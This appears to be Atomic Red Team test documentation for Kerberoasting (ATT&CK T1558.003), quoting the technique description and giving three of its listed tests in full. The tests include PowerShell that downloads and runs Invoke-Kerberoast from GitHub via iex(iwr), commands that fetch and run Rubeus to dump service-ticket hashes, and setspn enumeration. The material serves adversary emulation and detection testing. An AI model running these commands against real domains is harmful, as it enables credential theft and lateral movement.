# T1558.003 - Steal or Forge Kerberos Tickets: Kerberoasting

## Description from ATT&CK

> Adversaries may abuse a valid Kerberos ticket-granting ticket (TGT) or sniff network traffic to obtain a ticket-granting service (TGS) ticket that may be vulnerable to [Brute Force](https://attack.mitre.org/techniques/T1110).(Citation: Empire InvokeKerberoast Oct 2016)(Citation: AdSecurity Cracking Kerberos Dec 2015)
> 
> Service principal names (SPNs) are used to uniquely identify each instance of a Windows service. To enable authentication, Kerberos requires that SPNs be associated with at least one service logon account (an account specifically tasked with running a service(Citation: Microsoft Detecting Kerberoasting Feb 2018)).(Citation: Microsoft SPN)(Citation: Microsoft SetSPN)(Citation: SANS Attacking Kerberos Nov 2014)(Citation: Harmj0y Kerberoast Nov 2016)
> 
> Adversaries possessing a valid Kerberos ticket-granting ticket (TGT) may request one or more Kerberos ticket-granting service (TGS) service tickets for any SPN from a domain controller (DC).(Citation: Empire InvokeKerberoast Oct 2016)(Citation: AdSecurity Cracking Kerberos Dec 2015) Portions of these tickets may be encrypted with the RC4 algorithm, meaning the Kerberos 5 TGS-REP etype 23 hash of the service account associated with the SPN is used as the private key and is thus vulnerable to offline [Brute Force](https://attack.mitre.org/techniques/T1110) attacks that may expose plaintext credentials.(Citation: AdSecurity Cracking Kerberos Dec 2015)(Citation: Empire InvokeKerberoast Oct 2016) (Citation: Harmj0y Kerberoast Nov 2016)
> 
> This same behavior could be executed using service tickets captured from network traffic.(Citation: AdSecurity Cracking Kerberos Dec 2015)
> 
> Cracked hashes may enable [Persistence](https://attack.mitre.org/tactics/TA0003), [Privilege Escalation](https://attack.mitre.org/tactics/TA0004), and [Lateral Movement](https://attack.mitre.org/tactics/TA0008) via access to [Valid Accounts](https://attack.mitre.org/techniques/T1078).(Citation: SANS Attacking Kerberos Nov 2014)

[Source](https://attack.mitre.org/techniques/T1558/003)

## Atomic Tests

- [Atomic Test #1: Request for service tickets](#atomic-test-1-request-for-service-tickets)
- [Atomic Test #2: Rubeus kerberoast](#atomic-test-2-rubeus-kerberoast)
- [Atomic Test #3: Extract all accounts in use as SPN using setspn](#atomic-test-3-extract-all-accounts-in-use-as-spn-using-setspn)
- [Atomic Test #4: Request A Single Ticket via PowerShell](#atomic-test-4-request-a-single-ticket-via-powershell)
- [Atomic Test #5: Request All Tickets via PowerShell](#atomic-test-5-request-all-tickets-via-powershell)
- [Atomic Test #6: WinPwn - Kerberoasting](#atomic-test-6-winpwn---kerberoasting)
- [Atomic Test #7: WinPwn - PowerSharpPack - Kerberoasting Using Rubeus](#atomic-test-7-winpwn---powersharppack---kerberoasting-using-rubeus)

### Atomic Test #1: Request for service tickets

This test uses the Powershell Empire Module: Invoke-Kerberoast.ps1
The following are further sources and credits for this attack:
[Kerberoasting Without Mimikatz source] (https://www.harmj0y.net/blog/powershell/kerberoasting-without-mimikatz/)
[Invoke-Kerberoast source] (https://powersploit.readthedocs.io/en/latest/Recon/Invoke-Kerberoast/)
when executed successfully , the test displays available services with their hashes. 
If the testing domain doesn't have any service principal name configured, there is no output

**Supported Platforms:** Windows

**auto_generated_guid:** `3f[PII_REDACTED]-43c8-bcd8-b3ff3a28533a`

#### Attack Commands: Run with `powershell`!

```powershell
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
iex(iwr https://raw.githubusercontent.com/EmpireProject/Empire/08cbd274bef78243d7a8ed6443b8364acd1fc48b/data/module_source/credentials/Invoke-Kerberoast.ps1 -UseBasicParsing)
Invoke-Kerberoast | fl
```


#### Dependencies: Run with `powershell`!

##### Description: Computer must be domain joined

###### Check Prereq Commands

```powershell
if((Get-CIMInstance -Class Win32_ComputerSystem).PartOfDomain) {exit 0} else {exit 1}
```

###### Get Prereq Commands

```powershell
Write-Host Joining this computer to a domain must be done manually
```

### Atomic Test #2: Rubeus kerberoast

Information on the Rubeus tool and it's creators found here: https://github.com/GhostPack/Rubeus#asreproast
This build targets .NET 4.5.  If targeting a different version you will need to compile Rubeus

**Supported Platforms:** Windows

**auto_generated_guid:** `14625569-6def-4497-99ac-8e7817105b55`

#### Inputs

| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| local_folder | Local path of Rubeus executable | path | PathToAtomicsFolder&#92;..&#92;ExternalPayloads|
| local_executable | name of the rubeus executable | string | rubeus.exe|
| out_file | file where command results are stored | string | rubeus_output.txt|
| rubeus_url | URL of Rubeus executable | url | https://github.com/morgansec/Rubeus/raw/de21c6607e9a07182a2d2eea20bb67a22d3fbf95/Rubeus/bin/Debug/Rubeus45.exe|
| flags | command flags you would like to run (optional and blank by default) | string | |

#### Attack Commands: Run with `powershell`!

```powershell
klist purge
cmd.exe /c "#{local_folder}\#{local_executable}" kerberoast #{flags} /outfile:"#{local_folder}\#{out_file}"
```

#### Cleanup Commands

```powershell
Remove-Item "#{local_folder}\#{out_file}" -ErrorAction Ignore
```

#### Dependencies: Run with `powershell`!

##### Description: Computer must be domain joined

###### Check Prereq Commands

```powershell
if((Get-CIMInstance -Class Win32_ComputerSystem).PartOfDomain) {exit 0} else {exit 1}
```

###### Get Prereq Commands

```powershell
Write-Host Joining this computer to a domain must be done manually
```

##### Description: Rubeus must exist

###### Check Prereq Commands

```powershell
if(Test-Path -Path "#{local_folder}\#{local_executable}") {exit 0} else {exit 1}
```

###### Get Prereq Commands

```powershell
New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
Invoke-Webrequest -Uri #{rubeus_url} -OutFile "#{local_folder}\#{local_executable}"
```

### Atomic Test #3: Extract all accounts in use as SPN using setspn

The following test will utilize setspn to extract the Service Principal Names. This behavior is typically used during a kerberos or silver ticket attack. 
A successful execution will output all the SPNs for the related domain.

**Supported Platforms:** Windows

**auto_generated_guid:** `e6f4affd-d826-4871-9a62-6c9004b8fe06`

#### Inputs

| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| domain_name | The Domain Name to lookup against | string | %USERDNSDOMAIN%|

#### Attack Commands: Run with `command_prompt`!

```cmd
setspn -T #{domain_name} -Q */*
```


#### Dependencies: Run with `powershell`!

##### Description